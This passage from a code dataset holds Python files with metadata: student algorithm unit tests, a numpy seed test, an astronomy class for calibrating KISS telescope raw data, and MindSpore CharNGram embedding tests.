check_S1_selective_average([8,7,-7])\n    \n    \ndef test_S1_selective_average_with_empty_list():\n    ##\n    # @test validates average_above_zero works fine with an empty list\n    try:\n        check_S1_selective_average([])\n        assert False\n    except ValueError:\n        assert True\n        \n\n##max_value\n    # @test validates max_value works  with input which is not a list\ndef test_S1_max_value_not_a_list():\n    try:\n        test_MVList=100\n        load_S1_script().max_value(test_MVList)\n        assert False\n    except ValueError:\n        assert True\n        \ndef test_S1_max_value_empty_list():       \n    # @test validates max_value works  with input which is an empty list\n    try:\n        test_MVList=[]\n        load_S1_script().max_value(test_MVList)\n        assert False\n    except ValueError:\n        assert True\n        \ndef test_S1_max_value_standard_list():   \n    # @test validates max_value works  with input which is an empty list\n    test_MVList=[1,2,3,15,9]\n    assert load_S1_script().max_value(test_MVList) == (15,3)\n    \ndef test_S1_max_value_negative_value():   \n    # @test validates max_value works  with input which is an empty list\n    test_MVList=[1,2,-100,15,9]\n    assert load_S1_script().max_value(test_MVList) == (15,3)\n    \n##Reverse_table\ndef test_S1_revertTable_empty():\n    testList=[]\n    assert testList==load_S1_script().reverse_table(testList)\n    \ndef test_S1_revertTable_singleElement():\n    testList=[1]\n    assert testList==load_S1_script().reverse_table(testList)\n    \ndef test_S1_revertTable_evenElement():###################################################\n    testList=[1,2]\n    #import copy\n    #testList_copy=copy.deepcopy(testList)\n    #print('reverseTable:{inL}=>{out}'.format(inL=testList_copy,out=load_S1_script().reverse_table(testList))) \n    assert[2,1]==load_S1_script().reverse_table(testList)\n    \ndef test_S1_revertTable_oddElement():\n    testList=[1,2,3]  \n    assert[3,2,1]==load_S1_script().reverse_table(testList)\n\ndef test_S1_revertTable_error_list():\n    try:\n        testList='a';\n        load_S1_script().reverse_table(testList)\n        assert False\n    except ValueError:\n        assert True\n\n##roi_box\ndef test_S1_roiBBox_regular():\n    inputMat=np.zeros((5,6),dtype=np.bool)\n    inputMat[2:4,3:5]=np.ones((2,2),dtype=np.bool)\n#    assert (load_S1_script().roi_bbox(inputMat)==[[2,3],[2,4],[3,3],[3,4]])\n    np.testing.assert_array_equal(load_S1_script().roi_bbox(inputMat), [[2,3],[2,4],[3,3],[3,4]])\n\n\n##fill_sparse\ndef test_S1_RandomFillSparse_regular():    \n    matrix = np.array([[\"\",\"\",\"\",\"\",\"\",\"\"],[\"\",\"\",\"\",\"\",\"\",\"\"],[\"\",\"\",\"\",\"\",\"\",\"\"]])\n    k=4\n    randomX=load_S1_script().random_fill_sparse(matrix,k)\n    \n    cpt=0\n    for nlig in range(len(randomX)):\n            for ncol in range (len(randomX[0])):\n                if randomX[nlig][ncol] == 'X':\n                    cpt+= 1\n    assert cpt==k\n\n\n##remove_whiteSpace\ndef test_S1_RemoveWhiteSpace_regular():    \n    word = 'st ri ng'\n    assert 'string'==load_S1_script().remove_whitespace(word)\n\n\n#shuffle\ndef test_S1_Shuffle():\n    list= [\"pomme\",\"p\u00eache\",\"poire\",\"abricot\"]\n    shuffledList = load_S1_script().remove_whitespace(list)\n    assert len(list)==len(shuffledList)\n\n\ndef test_S1_SortSelective():\n    list=[10,15,7,1,3,3,9]\n    expectedSortedList=[1,3,3,7,9,10,15]\n    assert expectedSortedList==load_S1_script().sort_selective(list)\n    \ndef test_S1_SortBubble():\n    list=[10,15,7,1,3,3,9]\n    expectedSortedList=[1,3,3,7,9,10,15]\n    assert expectedSortedList==load_S1_script().sort_bubble(list)\n\n\n\n        \n\n\n\n    \n\n\n    \n    \n    \n\n\n\n    \n    \n\n\n\n", "meta": {"hexsha": "c554cb4efa3343d30bb55b6c7b21325cebe6c074", "size": 5912, "ext": "py", "lang": "Python", "max_stars_repo_path": "assignments/Session2/test_S2.py", "max_stars_repo_name": "StephLaudou/USMB-DIM-ALGO-2018-PUBLIC", "max_stars_repo_head_hexsha": "9ea0bdd42b08526b1cb357870d5f41471a4275a2", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "assignments/Session2/test_S2.py", "max_issues_repo_name": "StephLaudou/USMB-DIM-ALGO-2018-PUBLIC", "max_issues_repo_head_hexsha": "9ea0bdd42b08526b1cb357870d5f41471a4275a2", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assignments/Session2/test_S2.py", "max_forks_repo_name": "StephLaudou/USMB-DIM-ALGO-2018-PUBLIC", "max_forks_repo_head_hexsha": "9ea0bdd42b08526b1cb357870d5f41471a4275a2", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2018-12-22T22:34:41.000Z", "max_forks_repo_forks_event_max_datetime": "2018-12-22T22:34:41.000Z", "avg_line_length": 28.8390243902, "max_line_length": 111, "alphanum_fraction": 0.6732070365, "include": true, "reason": "import numpy", "num_tokens": 1559, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490155654565424, "lm_q2_score": 0.1403362512877889, "lm_q1q2_score": 0.06524254166347514}}
{"text": "\"\"\"\n@brief      test log(time=93s)\n\"\"\"\n\nimport sys\nimport os\nimport unittest\nimport numpy as np\nfrom pyquickhelper.loghelper.flog import fLOG\n\n\ntry:\n    import src\nexcept ImportError:\n    path = os.path.normpath(\n        os.path.abspath(\n            os.path.join(\n                os.path.split(__file__)[0],\n                \"..\",\n                \"..\")))\n    if path not in sys.path:\n        sys.path.append(path)\n    import src\n\n\nclass TestShpinxGallery(unittest.TestCase):\n\n    def test_numpy_random(self):\n        fLOG(\n            __file__,\n            self._testMethodName,\n            OutputPrint=__name__ == \"__main__\")\n\n        np.random.seed(42)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "meta": {"hexsha": "1e70dc34c2feeeefa60ff37f8f274adecd5ae2a8", "size": 703, "ext": "py", "lang": "Python", "max_stars_repo_path": "_unittests/ut_documentation/test_numpy_seed.py", "max_stars_repo_name": "mohamedelkansouli/Ensae_py", "max_stars_repo_head_hexsha": "8bc867bd2081c259c793fadfa8be5dcc7bd1400b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_unittests/ut_documentation/test_numpy_seed.py", "max_issues_repo_name": "mohamedelkansouli/Ensae_py", "max_issues_repo_head_hexsha": "8bc867bd2081c259c793fadfa8be5dcc7bd1400b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_unittests/ut_documentation/test_numpy_seed.py", "max_forks_repo_name": "mohamedelkansouli/Ensae_py", "max_forks_repo_head_hexsha": "8bc867bd2081c259c793fadfa8be5dcc7bd1400b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.0256410256, "max_line_length": 47, "alphanum_fraction": 0.573257468, "include": true, "reason": "import numpy", "num_tokens": 158, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.14033624589467186, "lm_q1q2_score": 0.06524254123707518}}
{"text": "import warnings\nimport numpy as np\nimport datetime\n\nfrom functools import lru_cache\n\nfrom scipy.interpolate import interp1d\nfrom scipy.optimize import OptimizeWarning\n\nimport astropy.units as u\nfrom astropy.time import Time\nfrom astropy.table import Table, MaskedColumn\nfrom astropy.utils.console import ProgressBar\nfrom astropy.coordinates import Latitude, Longitude, EarthLocation\nfrom astropy.coordinates import AltAz\nfrom astropy.coordinates.name_resolve import NameResolveError\nfrom astropy.io.fits import ImageHDU\n\nimport h5py\nfrom autologging import logged\n\nfrom . import kids_calib\nfrom . import kids_plots\nfrom .kids_rawdata import KidsRawData\nfrom .kiss_object import get_coords\nfrom .read_kidsdata import _to_hdf5, _from_hdf5\nfrom .utils import _import_from, pprint_list, interp_nan\nfrom .telescope_positions import KissPositions\n\ntry:\n    from .kiss_pointing_model import KISSPmodel\n\nexcept ModuleNotFoundError:\n    warnings.warn(\"kiss_pointing_model not installed\", Warning)\n\n    class KISSPmodel(object):\n        def __init__(self, *args, **kwargs):\n            warnings.warn(\"No pointing correction\", Warning)\n            pass\n\n        def telescope2sky(self, *args):\n            return args\n\n\n# pylint: disable=no-member\n@logged\nclass KissRawData(KidsRawData):\n    \"\"\"Class dealing with KISS raw data.\n\n    Derive from KidsRawData and add specific attributes and methods\n\n    Attributes\n    ----------\n    f_mod : float, cached\n        the modulation frequency to be used for calibration\n    mod_mask : array_like, cached\n        the modulation mask to be used for calibration\n    __calib : dict\n        The calibrated data\n\n    Methods\n    -------\n    calib_raw(calib_func=\"kidsdata.kids__calib.get_calfact\", clean_raw=False, **kwargs)\n        Calibrate the data\n    get_object_altaz(npoints=None), cached\n        Compute the object alt az positions for the observations\n    plot_kidpar(*args, **kwargs)\n        Deprecated -- Plot the current kidpar\n    plot_calib(*args, **kwargs)\n        Deprecated -- Plot the calibration\n    plot_pointing(*args, **kwargs)\n        Deprecated -- Plot the pointing\n    \"\"\"\n\n    __calib = None\n    continuum = None\n    interferograms = None\n\n    def __init__(self, *args, pointing_model=\"KISSMateoNov2020\", **kwargs):\n        \"\"\"\n        Parameters\n        ----------\n        pointing_model : str\n            the key used for the KISS pointing model\n        \"\"\"\n        super().__init__(*args, **kwargs)\n\n        self.meta[\"pointing_model\"] = pointing_model\n        self.__calib = dict()\n\n    def _write_data(self, filename=None, mode=\"a\", file_kwargs=None, **kwargs):\n        \"\"\"write internal data to hdf5 file\n\n        Parameters\n        ----------\n        filename : [str]\n            output filename, default None, use the cache file name\n        dataSd : bool, optional\n            flag to output the fully sampled data, by default False\n        mode : str\n            the open mode for the h5py.File object, by default 'a'\n        file_kwargs, dict, optionnal\n            additionnal keyword for h5py.File object, by default None\n        **kwargs\n            additionnal keyword argument for the h5py.Dataset, see Note\n\n        Notes\n        -----\n        Usual kwargs could be :\n\n        kwargs={'chunks': True, 'compression': \"gzip\", 'compression_opts':9, 'shuffle':True}\n        \"\"\"\n        super()._write_data(filename, mode=mode, file_kwargs=file_kwargs, **kwargs)\n\n        if filename is None:\n            filename = self._cache_filename\n\n        if file_kwargs is None:\n            file_kwargs = {}\n\n        # writing extra data\n        with h5py.File(filename, mode=\"a\", **file_kwargs) as f:\n\n            if self.pointing_model:\n                self.__log.debug(\"Saving pointing model\")\n                _to_hdf5(f, \"pointing_model\", self.meta[\"pointing_model\"], **kwargs)\n            if self.__calib:\n                self.__log.debug(\"Saving calibrated data\")\n                _to_hdf5(f, \"calib\", self.__calib, **kwargs)\n\n    @property\n    @lru_cache(maxsize=1)\n    def mod_mask(self):\n        \"\"\"Retrieve one modulation mask for all kids.\"\"\"\n        # Check the *_masq values\n        self.__log.debug(\"Checking the *_masq arrays\")\n        # Retrieve the kid boxes\n        masq_names = np.unique([\"{}_masq\".format(item[1]) for item in self.list_detector])\n        self.__check_attributes(masq_names, read_missing=False)\n        # Check that they are all the same\n        warnings.warn(\"Temporary fix to int8\")\n        masqs = [getattr(self, masq).astype(np.int8) for masq in masq_names]\n\n        if np.any(np.std(masqs, axis=0) != 0):\n            self.__log.error(\"*_masq is varying -- Please check : {}\".format(pprint_list(masq_names, \"_masq\")))\n\n        # AB private comm) main_flag should be the bitwise_or of all boxes\n        # Well not exactly....\n        # cast into 8 bit, is more than enough, only 3 bits used anyway...\n        masq = np.bitwise_or.reduce(masqs, axis=0).astype(np.int8)\n\n        # AB (#CONCERTO_DAQ January 11 13:02)\n        # _flag_balayage_en_cours & _flag_blanking_synthe\n        # Ainsi on aura la modulation en bit0 et 1 et le flag blanking en bit\n        # AB (#CONCERTO_DAQ February 11 11:07)\n        # bit 1 & 2 code the modulation as a signed integer -1 0 1 : 11 00 01 ie 3 0 1\n        # bit 3 is a blanking bit, which does not exist for KISS, but should not be taken into account for CONCERTO\n\n        # Thus as a temporary fix, let's clear the 3rd bit, actually a bad idea...\n        # self.__log.warning(\"Temporary fix : clearing the 3rd bit of masq\")\n        # masq = masq & ~(1 << 2)\n\n        return masq\n\n    @property\n    @lru_cache(maxsize=1)\n    def u_obstime(self):\n        \"\"\"Compute undersampled obstime.\n\n        Properly compute the undersampled timestamp at the middle of the observed bloc\n        \"\"\"\n        mask = self.mod_mask == 0\n        obstime = self.obstime\n\n        _u_mjd = [np.mean(_mjd[_mask]) for _mjd, _mask in zip(obstime.mjd, mask)]\n\n        if np.any(np.isnan(_u_mjd)):\n            _u_mjd = interp_nan(_u_mjd)\n\n        return Time(_u_mjd, format=\"mjd\", scale=obstime.scale)\n\n    @lru_cache(maxsize=2)\n    def _get_positions(self, coord=\"pdiff\", undersampled=True):\n        \"\"\"Retrieve interpolated telescope position, without shift.\n\n        Parameters\n        ----------\n        coord : str\n            the type of position to retrieve\n        undersampled : bool\n            retrieve undersampled positions, default True\n\n        Returns\n        ------\n        lon, lat, mask : array_like\n            the corresponding longitude, latitude and mask\n        \"\"\"\n        if undersampled:\n            mjd = self.u_obstime\n        else:\n            mjd = self.obstime.flatten()\n\n        return self.telescope_positions.get_interpolated_positions(mjd, key=coord)\n\n    @property\n    @lru_cache(maxsize=1)\n    def fmod(self):\n        # Check on frequency modulation values, in principle one should use the one corresponding on the array/crate, but depending on the files this could lead to wrong result\n        self.__log.debug(\"Checking the *-modulFreq values\")\n        fmod_names = sorted([key for key in self.param_c.keys() if \"modulFreq\" in key])\n\n        # Exclude null values (CONCERTO crate 1 has 0, has it does not read kids)\n        fmods = [self.param_c[key] for key in fmod_names if self.param_c[key] != 0]\n        if np.std(fmods) != 0:\n            self.__log.warning(\"modulFreq are varying over crates  {}\".format(dict(zip(fmod_names, fmods))))\n        # TODO: make an _or_ of all or use main_flag\n        return fmods[0]\n\n    def calib_raw(self, calib_func=\"kidsdata.kids_calib.get_calfact\", clean_raw=False, **kwargs):\n        \"\"\"Calibrate the KIDS timeline.\"\"\"\n\n        if getattr(self, \"__calib\", None) is None:\n            self.__log.debug(\"calibration using {}\".format(calib_func))\n            self.__check_attributes([\"I\", \"Q\"], read_missing=False)\n\n            fmod = self.fmod\n            mod_mask = self.mod_mask\n\n            # Check about the 3rd bit and the fix_masq keyword\n            if np.any(mod_mask & (1 << 2)) and kwargs.get(\"fix_masq\") is True:\n                self.__log.error(\"fix_masq should not be used when 3rd bit is set\")\n\n            self.__log.info(\"Calibrating with fmod={} and {}\".format(fmod, kwargs))\n            calib_func = _import_from(calib_func)\n            self.__calib = calib_func(self.I, self.Q, mod_mask, fmod=fmod, **kwargs)\n\n        else:\n            self.__log.error(\"calibrated data already present\")\n\n        # Expand keys :\n        # Does not double memory, but it will not be possible to\n        # partially free memory : All attribute read at the same time\n        # must be deleted together\n        for ckey in self.__calib.keys():\n            self.__dict__[ckey] = self.__calib[ckey]\n\n        if clean_raw:\n            self._clean_data(\"_KidsRawData__dataSd\")\n\n    # Check if we can merge that with the asserions in other functions\n    # Beware that some are read so are computed...\n    def __check_attributes(self, attr_list, **kwargs):\n        \"\"\"Check if the data has been read an attribute and read in it if not.\"\"\"\n        dependancies = [\n            # I & Q will need A_masq\n            ([\"I\", \"Q\"], [\"I\", \"Q\", \"A_masq\"]),\n            # Calibration data depends on the I, Q & A_masq raw data\n            ([\"calfact\", \"Icc\", \"Qcc\", \"P0\", \"R0\", \"interferograms\", \"continuum\"], [\"I\", \"Q\", \"A_masq\"]),\n            # For any requested telescope position, read them all\n            ([\"F_tl_Az\", \"F_tl_El\", \"F_sky_Az\", \"F_sky_El\"], [\"F_tl_Az\", \"F_tl_El\"]),\n        ]\n\n        _dependancies = self._KidsRawData__check_attributes(attr_list, dependancies=dependancies, **kwargs)\n\n        if _dependancies is not None:\n            self.calib_raw()\n\n    # Move most of that to __repr__ or __str__\n    def info(self):\n        super().info()\n        print(\"No. of interfergrams:\\t\", self.nint)\n        print(\"No. of points per interfergram:\\t\", self.nptint)\n        print(\n            \"Typical size of undersampled data (MiB + mask):\\t{:3.1f} (+{:3.1f})\".format(\n                self.nint * self.ndet * 32 / 8 / 1024 ** 2, self.nint * self.ndet * 8 / 8 / 1024 ** 2\n            )\n        )\n\n    def plot_kidpar(self, *args, **kwargs):\n        fig_geometry = kids_plots.show_kidpar(self)\n        fig_fwhm = kids_plots.show_kidpar_fwhm(self)\n        return fig_geometry, fig_fwhm\n\n    def plot_calib(self, *args, **kwargs):\n        self.__check_attributes([\"Icc\", \"Qcc\", \"calfact\", \"interferograms\"])\n        return kids_plots.calibPlot(self, *args, **kwargs)\n\n    def plot_pointing(self, *args, coord=\"tl\", **kwargs):\n        \"\"\"Plot azimuth and elevation to check pointing.\"\"\"\n        # TODO: Generalize that function\n        warnings.warn(\"Deprecated function needs update.\", DeprecationWarning)\n        self.__check_attributes([\"F_{}_az\".format(coord), \" F_{}_el\".format(coord)])\n        return kids_plots.checkPointing(self, *args, **kwargs)\n\n    def read_data(self, *args, cache=False, array=np.array, **kwargs):\n        \"\"\"Read raw data.\n\n        Also read the calibrated data in the cache file if present.\n\n        Notes\n        -----\n\n        The different Kiss telescope positions are also handled\n        \"\"\"\n        super().read_data(*args, cache=cache, array=array, **kwargs)\n\n        if cache and self._cache is not None:\n            self.__log.info(\"Reading cached data :\")\n            datas = []\n            for data in [\"calib\"]:\n                datas.append(_from_hdf5(self._cache, data, array=array) if data in self._cache else {})\n\n            (calib,) = datas\n\n            self.__log.debug(\"Updating dictionnaries with cached data\")\n            self.__calib.update(calib)\n\n            keys = [key for data in datas for key in data]\n            self.__log.debug(\"Read cached data : {}\".format(keys))\n\n            # Expand keys :\n            # Does not double memory, but it will not be possible to\n            # partially free memory : All attribute read at the same time\n            # must be deleted together\n\n            for _dict in [self.__calib]:\n                for ckey in _dict:\n                    self.__dict__[ckey] = _dict[ckey]\n\n            # TODO: list_detectors and nsamples\n\n        # TODO: Check on NIKA data, if this can be moved here\n        # self.nptint = self.header.nb_pt_bloc  # Number of points for one interferogram\n        # self.nint = self.nsamples // self.nptint  # Number of interferograms\n\n        if hasattr(self, \"indice\"):\n            indice = self.indice\n            assert self.nptint == np.int(indice.max() - indice.min() + 1), \"Problem with 'indice' or header\"\n\n        # Support for old parameters\n        if \"F_azimuth\" in self.__dict__ and \"F_elevation\" in self.__dict__:\n            warnings.warn(\"F_azimuth and F_elevation are deprecated\", DeprecationWarning)\n\n            # Pointing have changed... from Interpolated in Sc to real sampling in Uc\n            if self.F_azimuth.shape == (self.nint * self.nptint,):\n                warnings.warn(\"Interpolated positions\", PendingDeprecationWarning)\n                self.F_tl_Az = np.median(self.F_azimuth.reshape((self.nint, self.nptint)), axis=1)\n                self.F_tl_El = np.median(self.F_elevation.reshape((self.nint, self.nptint)), axis=1)\n            elif self.F_azimuth.shape == (self.nint,):\n                self.F_tl_Az = self.F_azimuth\n                self.F_tl_El = self.F_elevation\n\n            del (self.F_azimuth, self.F_elevation)\n\n        # Replace BasicPositions with KissPositions\n        pos_keys = self._KidsRawData__pos_keys()\n\n        # Clean unused/recomputed positions\n        # sky : pointing corrected values at the telescope\n        # tel : oversampling of the position\n        # diff : differential coordinates computed at the telescope\n        for key in [\"sky\", \"tel\", \"diff\"]:\n            if key in pos_keys:\n                del pos_keys[key]\n\n        if \"tl\" in pos_keys:\n            self.__log.debug(\"Initializing KissPositions\")\n\n            lon, lat = pos_keys[\"tl\"]\n\n            pos = np.array([getattr(self, lon).flatten(), getattr(self, lat).flatten()])\n            mjd = getattr(self, \"obstime\").flatten()\n\n            if pos.shape[1] == self.nint * self.nptint:\n                # fully sampled position, should not arrive\n                self.__log.error('Fully sampled position with \"tl\" should not occur')\n                mjd = self.obstime.flatten()\n            elif pos.shape[1] == self.nint:\n                # Undersampled position, assuming center of block\n                mjd = Time(mjd.mjd.reshape(self.nint, self.nptint).mean(1), scale=mjd.scale, format=\"mjd\")\n            else:\n                raise ValueError(\"Do not known how to handle position {}\".format(key))\n\n            args = (mjd, pos)\n            kwargs = {\"pointing_model\": self.meta[\"pointing_model\"], \"source\": self.meta[\"OBJECT\"]}\n            # # Do not copy data (reference)\n            # pos_keys = {\n            #     \"tl\": KissPositions(*args, **kwargs, position_key=\"tl\"),\n            #     \"sky\": KissPositions(*args, **kwargs, position_key=\"sky\"),\n            #     \"pdiff\": KissPositions(*args, **kwargs, position_key=\"pdiff\"),\n            # }\n            self.telescope_positions = KissPositions(*args, **kwargs, position_key=\"pdiff\")\n", "meta": {"hexsha": "f5031642b6ce91c8f7e8e9dfd71de22689701b33", "size": 15261, "ext": "py", "lang": "Python", "max_stars_repo_path": "kidsdata/kiss_rawdata.py", "max_stars_repo_name": "abeelen/kidsdata", "max_stars_repo_head_hexsha": "76c798b102a407e29d162aafceb01c518d848536", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "kidsdata/kiss_rawdata.py", "max_issues_repo_name": "abeelen/kidsdata", "max_issues_repo_head_hexsha": "76c798b102a407e29d162aafceb01c518d848536", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "kidsdata/kiss_rawdata.py", "max_forks_repo_name": "abeelen/kidsdata", "max_forks_repo_head_hexsha": "76c798b102a407e29d162aafceb01c518d848536", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.8320610687, "max_line_length": 176, "alphanum_fraction": 0.6191599502, "include": true, "reason": "import numpy,from scipy,import astropy,from astropy", "num_tokens": 3756, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5467381667555713, "lm_q2_score": 0.11920291576401235, "lm_q1q2_score": 0.0651727836367349}}
{"text": "# Copyright 2021 Huawei Technologies Co., Ltd\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n# ==============================================================================\r\n\r\nimport numpy as np\r\nimport pytest\r\n\r\nfrom mindspore import log\r\nimport mindspore.dataset as ds\r\nimport mindspore.dataset.text as text\r\nimport mindspore.dataset.text.transforms as T\r\n\r\nDATASET_ROOT_PATH = \"../data/dataset/testVectors/\"\r\n\r\n\r\ndef _count_unequal_element(data_expected, data_me, rtol, atol):\r\n    assert data_expected.shape == data_me.shape\r\n    total_count = len(data_expected.flatten())\r\n    error = np.abs(data_expected - data_me)\r\n    greater = np.greater(error, atol + np.abs(data_expected)*rtol)\r\n    loss_count = np.count_nonzero(greater)\r\n    assert (loss_count/total_count) < rtol,\\\r\n        \"\\ndata_expected_std:{0}\\ndata_me_error:{1}\\nloss:{2}\".\\\r\n        format(data_expected[greater], data_me[greater], error[greater])\r\n\r\n\r\ndef allclose_nparray(data_expected, data_me, rtol, atol, equal_nan=True):\r\n    if np.any(np.isnan(data_expected)):\r\n        assert np.allclose(data_me, data_expected, rtol, atol, equal_nan=equal_nan)\r\n    elif not np.allclose(data_me, data_expected, rtol, atol, equal_nan=equal_nan):\r\n        _count_unequal_element(data_expected, data_me, rtol, atol)\r\n    else:\r\n        assert True\r\n\r\n\r\ndef test_char_n_gram_all_to_vectors_params_eager():\r\n    \"\"\"\r\n    Feature: CharNGram\r\n    Description: test with all parameters which include `unk_init`\r\n        and `lower_case_backup` in function ToVectors in eager mode\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    char_n_gram = text.CharNGram.from_file(DATASET_ROOT_PATH + \"char_n_gram_20.txt\", max_vectors=18)\r\n    unk_init = (-np.ones(5)).tolist()\r\n    to_vectors = T.ToVectors(char_n_gram, unk_init=unk_init, lower_case_backup=True)\r\n    result1 = to_vectors(\"THE\")\r\n    result2 = to_vectors(\".\")\r\n    result3 = to_vectors(\"To\")\r\n    res = [[-1.34121733e+00, 4.42693333e-02, -4.86969667e-01, 6.62939000e-01, -3.67669000e-01],\r\n           [-1.00000000e+00, -1.00000000e+00, -1.00000000e+00, -1.00000000e+00, -1.00000000e+00],\r\n           [-9.68530000e-01, -7.89463000e-01, 5.15762000e-01, 2.02107000e+00, -1.64635000e+00]]\r\n    res_array = np.array(res, dtype=np.float32)\r\n\r\n    allclose_nparray(res_array[0], result1, 0.0001, 0.0001)\r\n    allclose_nparray(res_array[1], result2, 0.0001, 0.0001)\r\n    allclose_nparray(res_array[2], result3, 0.0001, 0.0001)\r\n\r\n\r\ndef test_char_n_gram_build_from_file():\r\n    \"\"\"\r\n    Feature: CharNGram\r\n    Description: test with only default parameter\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    char_n_gram = text.CharNGram.from_file(DATASET_ROOT_PATH + \"char_n_gram_20.txt\")\r\n    to_vectors = text.ToVectors(char_n_gram)\r\n    data = ds.TextFileDataset(DATASET_ROOT_PATH + \"words.txt\", shuffle=False)\r\n    data = data.map(operations=to_vectors, input_columns=[\"text\"])\r\n    ind = 0\r\n    res = [[0., 0., 0., 0., 0.],\r\n           [0., 0., 0., 0., 0.],\r\n           [0.117336, 0.362446, -0.983326, 0.939264, -0.05648],\r\n           [0.657201, 2.11761, -1.59276, 0.432072, 1.21395],\r\n           [0., 0., 0., 0., 0.],\r\n           [-2.26956, 0.288491, -0.740001, 0.661703, 0.147355],\r\n           [0., 0., 0., 0., 0.]]\r\n    for d in data.create_dict_iterator(num_epochs=1, output_numpy=True):\r\n        res_array = np.array(res[ind], dtype=np.float32)\r\n        allclose_nparray(res_array, d[\"text\"], 0.0001, 0.0001)\r\n        ind += 1\r\n\r\n\r\ndef test_char_n_gram_all_build_from_file_params():\r\n    \"\"\"\r\n    Feature: CharNGram\r\n    Description: test with all parameters which include `path` and `max_vector` in function BuildFromFile\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    char_n_gram = text.CharNGram.from_file(DATASET_ROOT_PATH + \"char_n_gram_20.txt\", max_vectors=100)\r\n    to_vectors = text.ToVectors(char_n_gram)\r\n    data = ds.TextFileDataset(DATASET_ROOT_PATH + \"words.txt\", shuffle=False)\r\n    data = data.map(operations=to_vectors, input_columns=[\"text\"])\r\n    ind = 0\r\n    res = [[0., 0., 0., 0., 0.],\r\n           [0., 0., 0., 0., 0.],\r\n           [0.117336, 0.362446, -0.983326, 0.939264, -0.05648],\r\n           [0.657201, 2.11761, -1.59276, 0.432072, 1.21395],\r\n           [0., 0., 0., 0., 0.],\r\n           [-2.26956, 0.288491, -0.740001, 0.661703, 0.147355],\r\n           [0., 0., 0., 0., 0.]]\r\n    for d in data.create_dict_iterator(num_epochs=1, output_numpy=True):\r\n        res_array = np.array(res[ind], dtype=np.float32)\r\n        allclose_nparray(res_array, d[\"text\"], 0.0001, 0.0001)\r\n        ind += 1\r\n\r\n\r\ndef test_char_n_gram_all_build_from_file_params_eager():\r\n    \"\"\"\r\n    Feature: CharNGram\r\n    Description: test with all parameters which include `path` and `max_vector` in function BuildFromFile in eager mode\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    char_n_gram = text.CharNGram.from_file(DATASET_ROOT_PATH + \"char_n_gram_20.txt\", max_vectors=18)\r\n    to_vectors = T.ToVectors(char_n_gram)\r\n    result1 = to_vectors(\"the\")\r\n    result2 = to_vectors(\".\")\r\n    result3 = to_vectors(\"to\")\r\n    res = [[-1.34121733e+00, 4.42693333e-02, -4.86969667e-01, 6.62939000e-01, -3.67669000e-01],\r\n           [0.00000000e+00, 0.00000000e+00, 0.00000000e+00, 0.00000000e+00, 0.00000000e+00],\r\n           [-9.68530000e-01, -7.89463000e-01, 5.15762000e-01, 2.02107000e+00, -1.64635000e+00]]\r\n    res_array = np.array(res, dtype=np.float32)\r\n\r\n    allclose_nparray(res_array[0], result1, 0.0001, 0.0001)\r\n    allclose_nparray(res_array[1], result2, 0.0001, 0.0001)\r\n    allclose_nparray(res_array[2], result3, 0.0001, 0.0001)\r\n\r\n\r\ndef test_char_n_gram_build_from_file_eager():\r\n    \"\"\"\r\n    Feature: CharNGram\r\n    Description: test with only default parameter in eager mode\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    char_n_gram = text.CharNGram.from_file(DATASET_ROOT_PATH + \"char_n_gram_20.txt\")\r\n    to_vectors = T.ToVectors(char_n_gram)\r\n    result1 = to_vectors(\"the\")\r\n    result2 = to_vectors(\".\")\r\n    result3 = to_vectors(\"to\")\r\n    res = [[-8.40079000e-01, -2.70002500e-02, -8.33472250e-01, 5.88367000e-01, -2.10011750e-01],\r\n           [0.00000000e+00, 0.00000000e+00, 0.00000000e+00, 0.00000000e+00, 0.00000000e+00],\r\n           [-9.68530000e-01, -7.89463000e-01, 5.15762000e-01, 2.02107000e+00, -1.64635000e+00]]\r\n    res_array = np.array(res, dtype=np.float32)\r\n\r\n    allclose_nparray(res_array[0], result1, 0.0001, 0.0001)\r\n    allclose_nparray(res_array[1], result2, 0.0001, 0.0001)\r\n    allclose_nparray(res_array[2], result3, 0.0001, 0.0001)\r\n\r\n\r\ndef test_char_n_gram_invalid_input():\r\n    \"\"\"\r\n  